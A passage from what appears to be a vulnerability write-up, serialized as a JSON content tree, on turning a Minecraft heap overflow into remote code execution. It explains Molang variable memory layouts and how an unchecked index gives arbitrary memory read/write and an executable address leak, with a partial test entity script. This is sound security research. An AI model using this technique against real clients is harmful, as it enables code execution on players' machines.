layout.",{"type":21,"tag":21591,"props":154884,"children":154886},{"id":154885},"molangvariable-and-molangscriptarg",[154887],{"type":26,"value":154888},"MolangVariable and MolangScriptArg",{"type":21,"tag":22,"props":154890,"children":154891},{},[154892,154893,154899],{"type":26,"value":104648},{"type":21,"tag":78,"props":154894,"children":154896},{"className":154895},[],[154897],{"type":26,"value":154898},"MolangVariable",{"type":26,"value":154900}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":21,"tag":143,"props":154902,"children":154904},{"code":154903,"language":5896,"meta":7,"className":19212,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[154905],{"type":21,"tag":78,"props":154906,"children":154907},{"__ignoreMap":7},[154908,154920,154927,154939,154952,154960,154967,154974,154986,154999,155011,155041,155049,155056,155063],{"type":21,"tag":153,"props":154909,"children":154910},{"class":155,"line":156},[154911,154915],{"type":21,"tag":153,"props":154912,"children":154913},{"style":170},[154914],{"type":26,"value":12123},{"type":21,"tag":153,"props":154916,"children":154917},{"style":160},[154918],{"type":26,"value":154919}," MolangVariable {\n",{"type":21,"tag":153,"props":154921,"children":154922},{"class":155,"line":166},[154923],{"type":21,"tag":153,"props":154924,"children":154925},{"style":160},[154926],{"type":26,"value":64079},{"type":21,"tag":153,"props":154928,"children":154929},{"class":155,"line":225},[154930,154934],{"type":21,"tag":153,"props":154931,"children":154932},{"style":170},[154933],{"type":26,"value":8781},{"type":21,"tag":153,"props":154935,"children":154936},{"style":160},[154937],{"type":26,"value":154938}," HashedString {\n",{"type":21,"tag":153,"props":154940,"children":154941},{"class":155,"line":239},[154942,154947],{"type":21,"tag":153,"props":154943,"children":154944},{"style":170},[154945],{"type":26,"value":154946},"        uint64_t",{"type":21,"tag":153,"props":154948,"children":154949},{"style":160},[154950],{"type":26,"value":154951}," variable_name_hash;\n",{"type":21,"tag":153,"props":154953,"children":154954},{"class":155,"line":382},[154955],{"type":21,"tag":153,"props":154956,"children":154957},{"style":160},[154958],{"type":26,"value":154959},"        std::string variable_name;\n",{"type":21,"tag":153,"props":154961,"children":154962},{"class":155,"line":501},[154963],{"type":21,"tag":153,"props":154964,"children":154965},{"style":160},[154966],{"type":26,"value":751},{"type":21,"tag":153,"props":154968,"children":154969},{"class":155,"line":533},[154970],{"type":21,"tag":153,"props":154971,"children":154972},{"style":160},[154973],{"type":26,"value":64079},{"type":21,"tag":153,"props":154975,"children":154976},{"class":155,"line":542},[154977,154981],{"type":21,"tag":153,"props":154978,"children":154979},{"style":170},[154980],{"type":26,"value":8781},{"type":21,"tag":153,"props":154982,"children":154983},{"style":160},[154984],{"type":26,"value":154985}," MolangScriptArg {\n",{"type":21,"tag":153,"props":154987,"children":154988},{"class":155,"line":762},[154989,154994],{"type":21,"tag":153,"props":154990,"children":154991},{"style":170},[154992],{"type":26,"value":154993},"        uint32_t",{"type":21,"tag":153,"props":154995,"children":154996},{"style":160},[154997],{"type":26,"value":154998}," value_type;\n",{"type":21,"tag":153,"props":155000,"children":155001},{"class":155,"line":776},[155002,155006],{"type":21,"tag":153,"props":155003,"children":155004},{"style":170},[155005],{"type":26,"value":154946},{"type":21,"tag":153,"props":155007,"children":155008},{"style":160},[155009],{"type":26,"value":155010}," value;\n",{"type":21,"tag":153,"props":155012,"children":155013},{"class":155,"line":795},[155014,155019,155023,155027,155032,155036],{"type":21,"tag":153,"props":155015,"children":155016},{"style":160},[155017],{"type":26,"value":155018},"        std::vector",{"type":21,"tag":153,"props":155020,"children":155021},{"style":198},[155022],{"type":26,"value":8537},{"type":21,"tag":153,"props":155024,"children":155025},{"style":170},[155026],{"type":26,"value":12123},{"type":21,"tag":153,"props":155028,"children":155029},{"style":160},[155030],{"type":26,"value":155031}," MolangScriptArg",{"type":21,"tag":153,"props":155033,"children":155034},{"style":198},[155035],{"type":26,"value":13182},{"type":21,"tag":153,"props":155037,"children":155038},{"style":160},[155039],{"type":26,"value":155040}," struct_fields;\n",{"type":21,"tag":153,"props":155042,"children":155043},{"class":155,"line":808},[155044],{"type":21,"tag":153,"props":155045,"children":155046},{"style":160},[155047],{"type":26,"value":155048},"        \n",{"type":21,"tag":153,"props":155050,"children":155051},{"class":155,"line":820},[155052],{"type":21,"tag":153,"props":155053,"children":155054},{"style":160},[155055],{"type":26,"value":126336},{"type":21,"tag":153,"props":155057,"children":155058},{"class":155,"line":842},[155059],{"type":21,"tag":153,"props":155060,"children":155061},{"style":160},[155062],{"type":26,"value":751},{"type":21,"tag":153,"props":155064,"children":155065},{"class":155,"line":3204},[155066],{"type":21,"tag":153,"props":155067,"children":155068},{"style":160},[155069],{"type":26,"value":19275},{"type":21,"tag":22,"props":155071,"children":155072},{},[155073,155075,155080],{"type":26,"value":155074},"In memory a ",{"type":21,"tag":78,"props":155076,"children":155078},{"className":155077},[],[155079],{"type":26,"value":154898},{"type":26,"value":155081}," instance resembles:",{"type":21,"tag":143,"props":155083,"children":155085},{"code":155084},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[155086],{"type":21,"tag":78,"props":155087,"children":155088},{"__ignoreMap":7},[155089],{"type":26,"value":155084},{"type":21,"tag":22,"props":155091,"children":155092},{},[155093],{"type":26,"value":155094},"For reference, example debugger view of the layout:",{"type":21,"tag":22,"props":155096,"children":155097},{},[155098],{"type":21,"tag":3644,"props":155099,"children":155101},{"alt":52869,"src":155100},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":21,"tag":22,"props":155103,"children":155104},{},[155105],{"type":26,"value":155106},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":21,"tag":22,"props":155108,"children":155109},{},[155110,155112,155118,155120,155125,155127,155133,155135,155140,155141,155146,155148,155153,155154,155160,155161,155167],{"type":26,"value":155111},"We only care about the ",{"type":21,"tag":78,"props":155113,"children":155115},{"className":155114},[],[155116],{"type":26,"value":155117},"MolangScriptArg",{"type":26,"value":155119}," beginning at offset ",{"type":21,"tag":78,"props":155121,"children":155123},{"className":155122},[],[155124],{"type":26,"value":131215},{"type":26,"value":155126}," because it contains variable values. In the screenshot above, the ",{"type":21,"tag":78,"props":155128,"children":155130},{"className":155129},[],[155131],{"type":26,"value":155132},"value_type",{"type":26,"value":155134}," at ",{"type":21,"tag":78,"props":155136,"children":155138},{"className":155137},[],[155139],{"type":26,"value":131215},{"type":26,"value":8232},{"type":21,"tag":78,"props":155142,"children":155144},{"className":155143},[],[155145],{"type":26,"value":2996},{"type":26,"value":155147}," (meaning float), and the ",{"type":21,"tag":78,"props":155149,"children":155151},{"className":155150},[],[155152],{"type":26,"value":41843},{"type":26,"value":155134},{"type":21,"tag":78,"props":155155,"children":155157},{"className":155156},[],[155158],{"type":26,"value":155159},"0x38",{"type":26,"value":8232},{"type":21,"tag":78,"props":155162,"children":155164},{"className":155163},[],[155165],{"type":26,"value":155166},"0xbf2070c8",{"type":26,"value":355},{"type":21,"tag":22,"props":155169,"children":155170},{},[155171,155173,155179,155181,155186,155188,155193,155194,155199,155201,155206,155208,155213],{"type":26,"value":155172},"During assignment, such as ",{"type":21,"tag":78,"props":155174,"children":155176},{"className":155175},[],[155177],{"type":26,"value":155178},"variable.a = variable.b",{"type":26,"value":155180},", each field of ",{"type":21,"tag":78,"props":155182,"children":155184},{"className":155183},[],[155185],{"type":26,"value":155117},{"type":26,"value":155187}," is copied from variable ",{"type":21,"tag":78,"props":155189,"children":155191},{"className":155190},[],[155192],{"type":26,"value":5972},{"type":26,"value":59068},{"type":21,"tag":78,"props":155195,"children":155197},{"className":155196},[],[155198],{"type":26,"value":29},{"type":26,"value":155200},". Interestingly, the ",{"type":21,"tag":78,"props":155202,"children":155204},{"className":155203},[],[155205],{"type":26,"value":41843},{"type":26,"value":155207}," field is always copied as a ",{"type":21,"tag":78,"props":155209,"children":155211},{"className":155210},[],[155212],{"type":26,"value":57926},{"type":26,"value":155214}," even if the type is a 32-bit float.",{"type":21,"tag":22,"props":155216,"children":155217},{},[155218,155220,155226],{"type":26,"value":155219},"Each entity stores its variables in a per-entity vector called ",{"type":21,"tag":78,"props":155221,"children":155223},{"className":155222},[],[155224],{"type":26,"value":155225},"MolangVariableMap",{"type":26,"value":355},{"type":21,"tag":21591,"props":155228,"children":155230},{"id":155229},"molangvariablemap",[155231],{"type":26,"value":155225},{"type":21,"tag":22,"props":155233,"children":155234},{},[155235,155240,155242,155248,155250,155256],{"type":21,"tag":78,"props":155236,"children":155238},{"className":155237},[],[155239],{"type":26,"value":155225},{"type":26,"value":155241}," is simply a ",{"type":21,"tag":78,"props":155243,"children":155245},{"className":155244},[],[155246],{"type":26,"value":155247},"std::vector\u003CMolangVariable *>",{"type":26,"value":155249}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":21,"tag":78,"props":155251,"children":155253},{"className":155252},[],[155254],{"type":26,"value":155255},"std::vector",{"type":26,"value":155257}," layout:",{"type":21,"tag":143,"props":155259,"children":155261},{"code":155260,"language":5896,"meta":7,"className":19212,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[155262],{"type":21,"tag":78,"props":155263,"children":155264},{"__ignoreMap":7},[155265,155277,155293,155309,155325],{"type":21,"tag":153,"props":155266,"children":155267},{"class":155,"line":156},[155268,155272],{"type":21,"tag":153,"props":155269,"children":155270},{"style":170},[155271],{"type":26,"value":12123},{"type":21,"tag":153,"props":155273,"children":155274},{"style":160},[155275],{"type":26,"value":155276}," vector {\n",{"type":21,"tag":153,"props":155278,"children":155279},{"class":155,"line":166},[155280,155284,155288],{"type":21,"tag":153,"props":155281,"children":155282},{"style":170},[155283],{"type":26,"value":19245},{"type":21,"tag":153,"props":155285,"children":155286},{"style":198},[155287],{"type":26,"value":5080},{"type":21,"tag":153,"props":155289,"children":155290},{"style":160},[155291],{"type":26,"value":155292},"buf;\n",{"type":21,"tag":153,"props":155294,"children":155295},{"class":155,"line":225},[155296,155300,155304],{"type":21,"tag":153,"props":155297,"children":155298},{"style":170},[155299],{"type":26,"value":19245},{"type":21,"tag":153,"props":155301,"children":155302},{"style":198},[155303],{"type":26,"value":5080},{"type":21,"tag":153,"props":155305,"children":155306},{"style":160},[155307],{"type":26,"value":155308},"len;\n",{"type":21,"tag":153,"props":155310,"children":155311},{"class":155,"line":239},[155312,155316,155320],{"type":21,"tag":153,"props":155313,"children":155314},{"style":170},[155315],{"type":26,"value":19245},{"type":21,"tag":153,"props":155317,"children":155318},{"style":198},[155319],{"type":26,"value":5080},{"type":21,"tag":153,"props":155321,"children":155322},{"style":160},[155323],{"type":26,"value":155324},"cap;\n",{"type":21,"tag":153,"props":155326,"children":155327},{"class":155,"line":382},[155328],{"type":21,"tag":153,"props":155329,"children":155330},{"style":160},[155331],{"type":26,"value":19275},{"type":21,"tag":22,"props":155333,"children":155334},{},[155335,155340,155342,155347,155349,155355,155357,155362,155363,155368],{"type":21,"tag":78,"props":155336,"children":155338},{"className":155337},[],[155339],{"type":26,"value":152421},{"type":26,"value":155341}," points to the allocated array of elements, ",{"type":21,"tag":78,"props":155343,"children":155345},{"className":155344},[],[155346],{"type":26,"value":2456},{"type":26,"value":155348}," points just past the last used element, and ",{"type":21,"tag":78,"props":155350,"children":155352},{"className":155351},[],[155353],{"type":26,"value":155354},"cap",{"type":26,"value":155356}," points to the end of the allocated buffer. Notably, the types of ",{"type":21,"tag":78,"props":155358,"children":155360},{"className":155359},[],[155361],{"type":26,"value":2456},{"type":26,"value":52},{"type":21,"tag":78,"props":155364,"children":155366},{"className":155365},[],[155367],{"type":26,"value":155354},{"type":26,"value":155369}," aren't typical integer types for sizes, but both are pointers.",{"type":21,"tag":22,"props":155371,"children":155372},{},[155373],{"type":26,"value":155374},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":21,"tag":143,"props":155376,"children":155378},{"code":155377},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[155379],{"type":21,"tag":78,"props":155380,"children":155381},{"__ignoreMap":7},[155382],{"type":26,"value":155377},{"type":21,"tag":22,"props":155384,"children":155385},{},[155386,155388,155394,155396,155402],{"type":26,"value":155387},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":21,"tag":78,"props":155389,"children":155391},{"className":155390},[],[155392],{"type":26,"value":155393},"variable.result",{"type":26,"value":155395},") may differ between entities. To get around this, ",{"type":21,"tag":78,"props":155397,"children":155399},{"className":155398},[],[155400],{"type":26,"value":155401},"MolangIndexMap",{"type":26,"value":155403}," is used to map a global variable name to the correct per-entity slot.",{"type":21,"tag":21591,"props":155405,"children":155407},{"id":155406},"molangindexmap",[155408],{"type":26,"value":155401},{"type":21,"tag":22,"props":155410,"children":155411},{},[155412,155417,155419,155425,155427,155433],{"type":21,"tag":78,"props":155413,"children":155415},{"className":155414},[],[155416],{"type":26,"value":155401},{"type":26,"value":155418}," is a per-entity ",{"type":21,"tag":78,"props":155420,"children":155422},{"className":155421},[],[155423],{"type":26,"value":155424},"std::vector\u003Cuint16_t>",{"type":26,"value":155426},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":21,"tag":78,"props":155428,"children":155430},{"className":155429},[],[155431],{"type":26,"value":155432},"variable.result = 0",{"type":26,"value":155434}," it:",{"type":21,"tag":126,"props":155436,"children":155437},{},[155438,155448,155458],{"type":21,"tag":91,"props":155439,"children":155440},{},[155441,155443],{"type":26,"value":155442},"Checks the global hashmap for ",{"type":21,"tag":78,"props":155444,"children":155446},{"className":155445},[],[155447],{"type":26,"value":11806},{"type":21,"tag":91,"props":155449,"children":155450},{},[155451,155453],{"type":26,"value":155452},"If found, uses the global index to look up the per-entity index in ",{"type":21,"tag":78,"props":155454,"children":155456},{"className":155455},[],[155457],{"type":26,"value":155401},{"type":21,"tag":91,"props":155459,"children":155460},{},[155461,155463],{"type":26,"value":155462},"If not found, creates a new global entry and assigns it ",{"type":21,"tag":78,"props":155464,"children":155466},{"className":155465},[],[155467],{"type":26,"value":155468},"last_index + 1",{"type":21,"tag":22,"props":155470,"children":155471},{},[155472,155474,155479,155481,155486,155488,155493,155495,155500,155502,155507,155508,155514,155516,155521],{"type":26,"value":155473},"This means the same global index for variable ",{"type":21,"tag":78,"props":155475,"children":155477},{"className":155476},[],[155478],{"type":26,"value":11806},{"type":26,"value":155480}," maps to the same position inside every entity’s ",{"type":21,"tag":78,"props":155482,"children":155484},{"className":155483},[],[155485],{"type":26,"value":155401},{"type":26,"value":155487},", but the actual ",{"type":21,"tag":78,"props":155489,"children":155491},{"className":155490},[],[155492],{"type":26,"value":154898},{"type":26,"value":155494}," for ",{"type":21,"tag":78,"props":155496,"children":155498},{"className":155497},[],[155499],{"type":26,"value":11806},{"type":26,"value":155501}," may live at different slots inside each entity's ",{"type":21,"tag":78,"props":155503,"children":155505},{"className":155504},[],[155506],{"type":26,"value":155225},{"type":26,"value":21229},{"type":21,"tag":78,"props":155509,"children":155511},{"className":155510},[],[155512],{"type":26,"value":155513},"Entity.MolangIndexMap[global_index]",{"type":26,"value":155515}," stores the per-entity index (slot) of variable ",{"type":21,"tag":78,"props":155517,"children":155519},{"className":155518},[],[155520],{"type":26,"value":11806},{"type":26,"value":355},{"type":21,"tag":22,"props":155523,"children":155524},{},[155525,155527,155532,155534,155539,155541,155546,155548,155553,155555,155561,155563,155568],{"type":26,"value":155526},"Importantly, we found that indices in the ",{"type":21,"tag":78,"props":155528,"children":155530},{"className":155529},[],[155531],{"type":26,"value":155401},{"type":26,"value":155533}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":21,"tag":78,"props":155535,"children":155537},{"className":155536},[],[155538],{"type":26,"value":155225},{"type":26,"value":155540},". This means that if we overwrite the index of variable ",{"type":21,"tag":78,"props":155542,"children":155544},{"className":155543},[],[155545],{"type":26,"value":11806},{"type":26,"value":155547}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":21,"tag":78,"props":155549,"children":155551},{"className":155550},[],[155552],{"type":26,"value":155225},{"type":26,"value":155554},", we could read from and write to ",{"type":21,"tag":78,"props":155556,"children":155558},{"className":155557},[],[155559],{"type":26,"value":155560},"address + 0x38",{"type":26,"value":155562}," through ",{"type":21,"tag":78,"props":155564,"children":155566},{"className":155565},[],[155567],{"type":26,"value":155393},{"type":26,"value":355},{"type":21,"tag":114,"props":155570,"children":155572},{"id":155571},"building-a-molang-arbitrary-rw-primitive",[155573],{"type":26,"value":155574},"Building a Molang Arbitrary R/W Primitive",{"type":21,"tag":22,"props":155576,"children":155577},{},[155578,155580,155585,155587,155592],{"type":26,"value":155579},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":21,"tag":78,"props":155581,"children":155583},{"className":155582},[],[155584],{"type":26,"value":155255},{"type":26,"value":155586}," - specifically, of ",{"type":21,"tag":78,"props":155588,"children":155590},{"className":155589},[],[155591],{"type":26,"value":155225},{"type":26,"value":155593}," vector.",{"type":21,"tag":22,"props":155595,"children":155596},{},[155597,155599,155604,155606,155611,155612,155617,155619,155624],{"type":26,"value":155598},"Because every entity object is heap-allocated and contains a ",{"type":21,"tag":78,"props":155600,"children":155602},{"className":155601},[],[155603],{"type":26,"value":155225},{"type":26,"value":155605}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":21,"tag":78,"props":155607,"children":155609},{"className":155608},[],[155610],{"type":26,"value":152421},{"type":26,"value":58083},{"type":21,"tag":78,"props":155613,"children":155615},{"className":155614},[],[155616],{"type":26,"value":155225},{"type":26,"value":155618}," vector belonging to an entity object placed just next the ",{"type":21,"tag":78,"props":155620,"children":155622},{"className":155621},[],[155623],{"type":26,"value":155225},{"type":26,"value":155625}," allocated buffer.",{"type":21,"tag":143,"props":155627,"children":155629},{"code":155628},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[155630],{"type":21,"tag":78,"props":155631,"children":155632},{"__ignoreMap":7},[155633],{"type":26,"value":155628},{"type":21,"tag":22,"props":155635,"children":155636},{},[155637,155639,155644,155646,155652,155654,155659,155660,155666,155667,155672,155674,155679,155681,155686,155688,155693,155695,155700,155702,155707,155709,155714,155716,155722,155724,155729,155731,155736],{"type":26,"value":155638},"In the scenario above, the ",{"type":21,"tag":78,"props":155640,"children":155642},{"className":155641},[],[155643],{"type":26,"value":155401},{"type":26,"value":155645}," would map ",{"type":21,"tag":78,"props":155647,"children":155649},{"className":155648},[],[155650],{"type":26,"value":155651},"variable.a",{"type":26,"value":155653}," -> index ",{"type":21,"tag":78,"props":155655,"children":155657},{"className":155656},[],[155658],{"type":26,"value":2996},{"type":26,"value":1670},{"type":21,"tag":78,"props":155661,"children":155663},{"className":155662},[],[155664],{"type":26,"value":155665},"variable.b",{"type":26,"value":155653},{"type":21,"tag":78,"props":155668,"children":155670},{"className":155669},[],[155671],{"type":26,"value":3033},{"type":26,"value":155673},", and so on. If we overwrite the index for ",{"type":21,"tag":78,"props":155675,"children":155677},{"className":155676},[],[155678],{"type":26,"value":155651},{"type":26,"value":155680}," with a value that is out-of-bounds for the ",{"type":21,"tag":78,"props":155682,"children":155684},{"className":155683},[],[155685],{"type":26,"value":155225},{"type":26,"value":155687},", it can instead index the ",{"type":21,"tag":78,"props":155689,"children":155691},{"className":155690},[],[155692],{"type":26,"value":152421},{"type":26,"value":155694}," field of the entity object above. Reading ",{"type":21,"tag":78,"props":155696,"children":155698},{"className":155697},[],[155699],{"type":26,"value":155651},{"type":26,"value":155701}," will then return the pointer stored at offset ",{"type":21,"tag":78,"props":155703,"children":155705},{"className":155704},[],[155706],{"type":26,"value":155159},{"type":26,"value":155708}," from the start of the ",{"type":21,"tag":78,"props":155710,"children":155712},{"className":155711},[],[155713],{"type":26,"value":155225},{"type":26,"value":155715}," (which in this diagram corresponds to ",{"type":21,"tag":78,"props":155717,"children":155719},{"className":155718},[],[155720],{"type":26,"value":155721},"variable.f",{"type":26,"value":155723},"), and writing to ",{"type":21,"tag":78,"props":155725,"children":155727},{"className":155726},[],[155728],{"type":26,"value":155651},{"type":26,"value":155730}," will overwrite that pointer - corrupting ",{"type":21,"tag":78,"props":155732,"children":155734},{"className":155733},[],[155735],{"type":26,"value":155721},{"type":26,"value":355},{"type":21,"tag":22,"props":155738,"children":155739},{},[155740,155742,155747,155748,155754,155756,155761,155763,155769,155771,155776,155778,155783,155785,155791,155793,155799,155801,155806],{"type":26,"value":155741},"To leak the address of the Minecraft executable we could increment ",{"type":21,"tag":78,"props":155743,"children":155745},{"className":155744},[],[155746],{"type":26,"value":155651},{"type":26,"value":5820},{"type":21,"tag":78,"props":155749,"children":155751},{"className":155750},[],[155752],{"type":26,"value":155753},"variable.a += 8",{"type":26,"value":155755},"), which advances the pointer used for ",{"type":21,"tag":78,"props":155757,"children":155759},{"className":155758},[],[155760],{"type":26,"value":155721},{"type":26,"value":155762}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":21,"tag":78,"props":155764,"children":155766},{"className":155765},[],[155767],{"type":26,"value":155768},"variable.a = variable.exe_leak + \u003Coffset>",{"type":26,"value":155770}," - this updates the ",{"type":21,"tag":78,"props":155772,"children":155774},{"className":155773},[],[155775],{"type":26,"value":155721},{"type":26,"value":155777}," pointer to our chosen address, and writing to ",{"type":21,"tag":78,"props":155779,"children":155781},{"className":155780},[],[155782],{"type":26,"value":155721},{"type":26,"value":155784},", for example ",{"type":21,"tag":78,"props":155786,"children":155788},{"className":155787},[],[155789],{"type":26,"value":155790},"variable.f = 1337",{"type":26,"value":155792},", writes the value ",{"type":21,"tag":78,"props":155794,"children":155796},{"className":155795},[],[155797],{"type":26,"value":155798},"1337",{"type":26,"value":155800}," to offset ",{"type":21,"tag":78,"props":155802,"children":155804},{"className":155803},[],[155805],{"type":26,"value":155159},{"type":26,"value":155807}," from that calculated address.",{"type":21,"tag":21591,"props":155809,"children":155811},{"id":155810},"testing-the-idea",[155812],{"type":26,"value":155813},"Testing the Idea",{"type":21,"tag":22,"props":155815,"children":155816},{},[155817,155819,155824,155826,155831,155833,155838],{"type":26,"value":155818},"We tested the idea by manually adding a pointer to the start of ",{"type":21,"tag":78,"props":155820,"children":155822},{"className":155821},[],[155823],{"type":26,"value":155225},{"type":26,"value":155825}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":21,"tag":5302,"props":155827,"children":155828},{},[155829],{"type":26,"value":155830},"almost",{"type":26,"value":155832}," worked - below is the state of the ",{"type":21,"tag":78,"props":155834,"children":155836},{"className":155835},[],[155837],{"type":26,"value":155225},{"type":26,"value":155839},"'s allocated buffer before the Molang script executes:",{"type":21,"tag":22,"props":155841,"children":155842},{},[155843],{"type":21,"tag":3644,"props":155844,"children":155846},{"alt":52869,"src":155845},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":21,"tag":22,"props":155848,"children":155849},{},[155850],{"type":26,"value":155851},"And this is after execution:",{"type":21,"tag":22,"props":155853,"children":155854},{},[155855],{"type":21,"tag":3644,"props":155856,"children":155858},{"alt":52869,"src":155857},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":21,"tag":22,"props":155860,"children":155861},{},[155862],{"type":26,"value":155863},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":21,"tag":143,"props":155865,"children":155867},{"code":155866,"language":36691,"meta":7,"className":36689,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[155868],{"type":21,"tag":78,"props":155869,"children":155870},{"__ignoreMap":7},[155871,155878,155899,155911,155923,155944,155951,155958,155965,155977,155990,156002,156014,156026,156042,156049,156061,156069,156077,156084,156091,156098],{"type":21,"tag":153,"props":155872,"children":155873},{"class":155,"line":156},[155874],{"type":21,"tag":153,"props":155875,"children":155876},{"style":160},[155877],{"type":26,"value":13601},{"type":21,"tag":153,"props":155879,"children":155880},{"class":155,"line":166},[155881,155886,155890,155895],{"type":21,"tag":153,"props":155882,"children":155883},{"style":192},[155884],{"type":26,"value":155885},"  \"format_version\"",{"type":21,"tag":153,"props":155887,"children":155888},{"style":160},[155889],{"type":26,"value":18031},{"type":21,"tag":153,"props":155891,"children":155892},{"style":671},[155893],{"type":26,"value":155894},"\"1.10.0\"",{"type":21,"tag":153,"props":155896,"children":155897},{"style":160},[155898],{"type":26,"value":792},{"type":21,"tag":153,"props":155900,"children":155901},{"class":155,"line":225},[155902,155907],{"type":21,"tag":153,"props":155903,"children":155904},{"style":192},[155905],{"type":26,"value":155906},"  \"minecraft:client_entity\"",{"type":21,"tag":153,"props":155908,"children":155909},{"style":160},[155910],{"type":26,"value":39715},{"type":21,"tag":153,"props":155912,"children":155913},{"class":155,"line":239},[155914,155919],{"type":21,"tag":153,"props":155915,"children":155916},{"style":192},[155917],{"type":26,"value":155918},"    \"description\"",{"type":21,"tag":153,"props":155920,"children":155921},{"style":160},[155922],{"type":26,"value":39715},{"type":21,"tag":153,"props":155924,"children":155925},{"class":155,"line":382},[155926,155931,155935,155940],{"type":21,"tag":153,"props":155927,"children":155928},{"style":192},[155929],{"type":26,"value":155930},"      \"identifier\"",{"type":21,"tag":153,"props":155932,"children":155933},{"style":160},[155934],{"type":26,"value":18031},{"type":21,"tag":153,"props":155936,"children":155937},{"style":671},[155938],{"type":26,"value":155939},"\"minecraft:leash_knot\"",{"type":21,"tag":153,"props":155941,"children":155942},{"style":160},[155943],{"type":26,"value":792},{"type":21,"tag":153,"props":155945,"children":155946},{"class":155,"line":501},[155947],{"type":21,"tag":153,"props":155948,"children":155949},{"emptyLinePlaceholder":16},[155950],{"type":26,"value":759},{"type":21,"tag":153,"props":155952,"children":155953},{"class":155,"line":533},[155954],{"type":21,"tag":153,"props":155955,"children":155956},{"style":25099},[155957],{"type":26,"value":129738},{"type":21,"tag":153,"props":155959,"children":155960},{"class":155,"line":542},[155961],{"type":21,"tag":153,"props":155962,"children":155963},{"style":160},[155964],{"type":26,"value":155048},{"type":21,"tag":153,"props":155966,"children":155967},{"class":155,"line":762},[155968,155973],{"type":21,"tag":153,"props":155969,"children":155970},{"style":192},[155971],{"type":26,"value":155972},"      \"scripts\"",{"type":21,"tag":153,"props":155974,"children":155975},{"style":160},[155976],{"type":26,"value":39715},{"type":21,"tag":153,"props":155978,"children":155979},{"class":155,"line":776},[155980,155985],{"type":21,"tag":153,"props":155981,"children":155982},{"style":192},[155983],{"type":26,"value":155984},"        \"initialize\"",{"type":21,"tag":153,"props":155986,"children":155987},{"style":160},[155988],{"type":26,"value":155989},": [\n",{"type":21,"tag":153,"props":155991,"children":155992},{"class":155,"line":795},[155993,155998],{"type":21,"tag":153,"props":155994,"children":155995},{"style":671},[155996],{"type":26,"value":155997},"          \"variable.a = 0;\"",{"type":21,"tag":153,"props":155999,"children":156000},{"style":160},[156001],{"type":26,"value":792},{"type":21,"tag":153,"props":156003,"children":156004},{"class":155,"line":808},[156005,156010],{"type":21,"tag":153,"props":156006,"children":156007},{"style":671},[156008],{"type":26,"value":156009},"          \"variable.b = 0;\"",{"type":21,"tag":153,"props":156011,"children":156012},{"style":160},[156013],{"type":26,"value":792},{"type":21,"tag":153,"props":156015,"children":156016},{"class":155,"line":820},[156017,156022],{"type":21,"tag":153,"props":156018,"children":156019},{"style":671},[156020],{"type":26,"value":156021},"          \"variable.c = 0;\"",{"type":21,"tag":153,"props":156023,"children":156024},{"style":160},[156025],{"type":26,"value":792},{"type":21,"tag":153,"props":156027,"children":156028},{"class":155,"line":842},[156029,156034,156038],{"type":21,"tag":153,"props":156030,"children":156031},{"style":160},[156032],{"type":26,"value":156033},"          